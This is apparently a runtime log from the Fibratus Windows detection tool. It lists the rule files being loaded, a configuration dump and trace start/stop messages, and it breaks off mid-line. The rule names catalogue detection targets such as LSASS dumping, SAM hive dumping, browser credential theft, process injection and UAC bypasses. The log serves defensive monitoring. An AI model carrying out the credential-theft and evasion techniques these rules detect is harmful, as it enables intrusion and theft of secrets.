source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:08:32+01:00 level=info msg=bootstrapping with pid 20312. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:08:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-net=>true enable-handle=>false enable-dns=>false stack-enrichment=>true enable-fileio=>true enable-threadpool=>false enable-mem=>false buffer-size=>512 flush-interval=>1s enable-vamap=>true enable-image=>true enable-audit-api=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true gzip-compression=>false flush-period=>1s template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-timeout=>5s index-name=>fibratus enabled=>false sniff=>false timeout=>5s healthcheck-interval=>10s] http=>[ endpoints=>[] enable-gzip=>false serializer=>json timeout=>5s enabled=>false tls-insecure-skip-verify=>false method=>POST] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ passive=>false vhost=>/ exchange=>fibratus exchange-type=>topic durable=>false timeout=>5s url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient routing-key=>fibratus tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-allocs=>false scan-timeout=>10s excluded-procs=>[] excluded-files=>[] skip-registry=>false skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:08:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:08:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:09:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:09:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:09:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:09:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from 